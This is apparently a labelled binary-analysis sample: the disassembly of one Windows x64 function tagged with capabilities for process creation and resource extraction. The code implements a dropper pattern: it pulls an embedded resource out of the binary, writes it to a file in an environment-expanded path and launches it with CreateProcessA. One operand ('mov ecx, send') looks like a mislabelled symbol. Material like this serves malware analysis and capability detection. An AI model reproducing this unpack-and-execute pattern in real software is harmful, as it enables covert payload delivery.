Function at 0x140009e30
Capabilities:
Create process on windows
Extract resource via kernel32 functions

Disassembly:
mov rax, rsp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x1f0
mov qword [rsp + 0x50], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov rbp, rdx
mov rsi, rcx
mov dword [rax - 0x98], 0x68
xor edx, edx
lea r8d, [rdx + 0x60]
lea rcx, [rax - 0x90]
call fcn.140083880
mov ecx, 0x104
call fcn.1400817c0
mov r12, rax
mov ecx, 1
call fcn.140001bf0
mov r8, rax
mov edx, 0x104
mov rcx, r12
call fcn.140085350
mov edx, 0x104
mov rcx, r12
call qword [sym.imp.SHELL32.dll_DoEnvironmentSubstA]
mov ecx, 2
call fcn.140001bf0
mov r8, rax
mov edx, 0x104
mov rcx, r12
call fcn.1400852c4
mov ecx, send
call fcn.140001bf0
mov r8, rax
mov edx, 0x191
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rdi, rax
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbx, rax
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
xor r13d, r13d
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov edx, 0x10000000
lea r8d, [r13 + 7]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x20], 1
lea r9d, [r13 + 0x40]
mov r14d, 0x20
mov r8d, r14d
mov rdx, r12
lea rcx, [rsp + 0x60]
call fcn.140009b60
nop
mov r8, rdi
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.140009d10
lea rcx, [rsp + 0x68]
call fcn.140007e80
test rax, rax
jne 0x140009fa2
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea rcx, [rsp + rcx + 0x60]
mov edx, dword [rcx + 0x10]
or edx, 2
cmp qword [rcx + 0x48], r13
jne 0x140009f9a
or edx, 4
xor r8d, r8d
call fcn.1400032f0
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rsi
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
or rcx, 0xffffffffffffffff
mov rdi, rbp
repne scasb al, byte [rdi]
not rcx
lea rcx, [rdx + rcx + 0x10e]
call fcn.1400817c0
mov rbx, rax
mov word [rax], r14w
mov rdi, rax
xor eax, eax
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
xor r8d, r8d
nop word [rax + rax]
movzx edx, byte [rsi + r8]
mov byte [rdi + r8 - 1], dl
inc r8
test dl, dl
jne 0x140009ff0
mov rdi, rbx
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
movzx eax, word [0x1400b85b0]
mov word [rdi - 1], ax
mov rdi, rbx
xor eax, eax
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
xor ecx, ecx
nop word [rax + rax]
movzx eax, byte [rcx + rbp]
mov byte [rdi + rcx - 1], al
inc rcx
test al, al
jne 0x14000a030
lea rax, [rsp + 0x160]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x180]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rcx, rbx
call fcn.14008396c
mov rcx, r12
call fcn.14008396c
nop
lea rax, [rsp + 0xf8]
mov qword [rsp + 0x230], rax
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x60], rax
lea rcx, [rsp + 0x68]
call fcn.1400082e0
nop
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x60], rax
lea rax, vtable.std::ios_base.0
mov qword [rsp + 0xf8], rax
lea rcx, [rsp + 0xf8]
call fcn.140082210
xor eax, eax
lea r11, [rsp + 0x1f0]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret